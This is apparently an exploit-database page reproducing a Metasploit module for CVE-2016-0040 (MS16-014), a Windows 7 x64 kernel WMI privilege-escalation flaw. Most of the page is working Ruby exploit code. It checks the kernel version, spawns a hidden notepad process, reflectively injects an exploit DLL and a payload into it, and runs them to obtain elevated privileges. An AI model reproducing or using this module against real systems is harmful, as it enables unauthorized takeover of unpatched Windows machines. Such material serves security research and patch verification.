Windows 7 WMI Recieve Notification Exploit

2018.05.09
Credit: Anonymous
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/windows/reflective_dll_injection' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info = {}) super(update_info(info, 'Name' => 'Windows WMI Recieve Notification Exploit', 'Description' => %q( This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. ), 'License' => MSF_LICENSE, 'Author' => [ 'smmrootkit', # crash code 'de7ec7ed', # exploit code 'de7ec7ed', # msf module ], 'Arch' => [ARCH_X64], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ ['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2016-0040'], ['MSB', 'MS16-014'], ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'], ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] ], 'DisclosureDate' => 'Dec 4 2015', 'DefaultTarget' => 0) ) end def check # Windows 7 SP0/SP1 (64-bit) if sysinfo['OS'] !~ /windows/i return Exploit::CheckCode::Unknown end file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' major, minor, build, revision, branch = file_version(file_path) vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") return Exploit::CheckCode::Safe if build > 7601 return Exploit::CheckCode::Appears end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end check_result = check if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'CVE-2016-0040.x64.dll') library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top